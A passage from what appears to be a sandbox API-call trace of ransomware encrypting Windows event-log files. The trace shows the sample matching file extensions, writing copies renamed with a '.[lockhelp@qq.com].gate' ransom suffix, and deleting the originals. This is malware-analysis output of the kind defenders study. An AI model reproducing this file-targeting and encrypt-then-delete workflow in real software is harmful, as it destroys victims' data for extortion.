(lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.603] lstrlenW (lpString=".1cd") returned 4 [0276.603] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.603] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.603] lstrlenW (lpString=".jpg") returned 4 [0276.603] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.603] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.603] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0276.603] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.603] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0276.604] CloseHandle (hObject=0x390) returned 1 [0276.604] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0276.604] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.604] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.604] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.604] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.604] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0276.604] GetLastError () returned 0x0 [0276.604] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.743] WriteFile (in: hFile=0x3cc, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.744] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.744] WriteFile (in: hFile=0x3cc, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x130, lpOverlapped=0x0) returned 1 [0276.744] SetEndOfFile (hFile=0x3cc) returned 1 [0276.823] CloseHandle (hObject=0x3cc) returned 1 [0276.824] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.825] SetEndOfFile (hFile=0x390) returned 1 [0276.826] CloseHandle (hObject=0x390) returned 1 [0276.826] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.826] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0276.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.826] lstrlenW (lpString=".doc") returned 4 [0276.826] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.826] lstrlenW (lpString=".docx") returned 5 [0276.826] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.826] lstrlenW (lpString=".pdf") returned 4 [0276.826] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.826] lstrlenW (lpString=".xls") returned 4 [0276.826] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.826] lstrlenW (lpString=".xlsx") returned 5 [0276.826] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.826] lstrlenW (lpString=".ppt") returned 4 [0276.826] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.827] lstrlenW (lpString=".zip") returned 4 [0276.827] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString=".rar") returned 4 [0276.827] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString=".bz2") returned 4 [0276.827] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString=".7z") returned 3 [0276.827] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.827] lstrlenW (lpString=".dbf") returned 4 [0276.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.827] lstrlenW (lpString=".1cd") returned 4 [0276.827] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.827] lstrlenW (lpString=".jpg") returned 4 [0276.827] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.827] lstrlenW (lpString=".doc") returned 4 [0276.827] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString=".docx") returned 5 [0276.827] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.827] lstrlenW (lpString=".pdf") returned 4 [0276.827] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString=".xls") returned 4 [0276.827] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString=".xlsx") returned 5 [0276.827] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.827] lstrlenW (lpString=".ppt") returned 4 [0276.827] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.827] lstrlenW (lpString=".zip") returned 4 [0276.827] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.828] lstrlenW (lpString=".rar") returned 4 [0276.828] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.828] lstrlenW (lpString=".bz2") returned 4 [0276.828] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.828] lstrlenW (lpString=".7z") returned 3 [0276.828] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.828] lstrlenW (lpString=".dbf") returned 4 [0276.828] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.828] lstrlenW (lpString=".1cd") returned 4 [0276.828] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0276.828] lstrlenW (lpString=".jpg") returned 4 [0276.828] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.828] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.828] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0276.828] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.828] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0276.828] CloseHandle (hObject=0x390) returned 1 [0276.828] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0276.828] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.829] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.829] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.829] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.829] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0276.953] GetLastError () returned 0x0 [0276.953] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.973] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.974] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.974] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x132, lpOverlapped=0x0) returned 1 [0276.974] SetEndOfFile (hFile=0x418) returned 1 [0276.975] CloseHandle (hObject=0x418) returned 1 [0276.976] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.976] SetEndOfFile (hFile=0x390) returned 1 [0276.978] CloseHandle (hObject=0x390) returned 1 [0276.978] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.978] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0276.978] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.978] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.978] lstrlenW (lpString=".doc") returned 4 [0276.978] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.978] lstrlenW (lpString=".docx") returned 5 [0276.978] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.978] lstrlenW (lpString=".pdf") returned 4 [0276.978] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.979] lstrlenW (lpString=".xls") returned 4 [0276.979] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.979] lstrlenW (lpString=".xlsx") returned 5 [0276.979] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.979] lstrlenW (lpString=".ppt") returned 4 [0276.979] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.979] lstrlenW (lpString=".zip") returned 4 [0276.979] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.979] lstrlenW (lpString=".rar") returned 4 [0276.979] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.979] lstrlenW (lpString=".bz2") returned 4 [0276.979] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.979] lstrlenW (lpString=".7z") returned 3 [0276.979] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.979] lstrlenW (lpString=".dbf") returned 4 [0276.979] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.979] lstrlenW (lpString=".1cd") returned 4 [0276.979] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.979] lstrlenW (lpString=".jpg") returned 4 [0276.979] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.980] lstrlenW (lpString=".doc") returned 4 [0276.980] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.980] lstrlenW (lpString=".docx") returned 5 [0276.980] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.980] lstrlenW (lpString=".pdf") returned 4 [0276.980] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.980] lstrlenW (lpString=".xls") returned 4 [0276.980] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.980] lstrlenW (lpString=".xlsx") returned 5 [0276.980] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.980] lstrlenW (lpString=".ppt") returned 4 [0276.980] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.980] lstrlenW (lpString=".zip") returned 4 [0276.980] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.980] lstrlenW (lpString=".rar") returned 4 [0276.980] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.980] lstrlenW (lpString=".bz2") returned 4 [0276.980] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.980] lstrlenW (lpString=".7z") returned 3 [0276.980] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.980] lstrlenW (lpString=".dbf") returned 4 [0276.980] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.980] lstrlenW (lpString=".1cd") returned 4 [0276.981] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0276.981] lstrlenW (lpString=".jpg") returned 4 [0276.981] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.981] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.981] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0276.981] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.981] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0276.981] CloseHandle (hObject=0x390) returned 1 [0276.981] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0276.981] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.982] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.982] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.982] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.982] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0276.982] GetLastError () returned 0x0 [0276.982] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.074] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.075] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.075] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x130, lpOverlapped=0x0) returned 1 [0277.075] SetEndOfFile (hFile=0x418) returned 1 [0277.077] CloseHandle (hObject=0x418) returned 1 [0277.079] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.079] SetEndOfFile (hFile=0x390) returned 1 [0277.080] CloseHandle (hObject=0x390) returned 1 [0277.080] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.080] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0277.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.081] lstrlenW (lpString=".doc") returned 4 [0277.081] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.081] lstrlenW (lpString=".docx") returned 5 [0277.081] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.081] lstrlenW (lpString=".pdf") returned 4 [0277.081] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.081] lstrlenW (lpString=".xls") returned 4 [0277.081] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.081] lstrlenW (lpString=".xlsx") returned 5 [0277.081] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.081] lstrlenW (lpString=".ppt") returned 4 [0277.081] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.081] lstrlenW (lpString=".zip") returned 4 [0277.081] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.081] lstrlenW (lpString=".rar") returned 4 [0277.081] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.081] lstrlenW (lpString=".bz2") returned 4 [0277.081] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.081] lstrlenW (lpString=".7z") returned 3 [0277.081] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.081] lstrlenW (lpString=".dbf") returned 4 [0277.081] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.082] lstrlenW (lpString=".1cd") returned 4 [0277.082] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.082] lstrlenW (lpString=".jpg") returned 4 [0277.082] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.082] lstrlenW (lpString=".doc") returned 4 [0277.082] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString=".docx") returned 5 [0277.082] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.082] lstrlenW (lpString=".pdf") returned 4 [0277.082] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString=".xls") returned 4 [0277.082] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString=".xlsx") returned 5 [0277.082] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.082] lstrlenW (lpString=".ppt") returned 4 [0277.082] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.082] lstrlenW (lpString=".zip") returned 4 [0277.082] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString=".rar") returned 4 [0277.082] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString=".bz2") returned 4 [0277.082] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString=".7z") returned 3 [0277.082] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.082] lstrlenW (lpString=".dbf") returned 4 [0277.082] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.083] lstrlenW (lpString=".1cd") returned 4 [0277.083] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.083] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0277.083] lstrlenW (lpString=".jpg") returned 4 [0277.083] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.083] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.083] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0277.083] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0277.085] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0277.085] CloseHandle (hObject=0x390) returned 1 [0277.085] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0277.085] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.085] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0277.085] 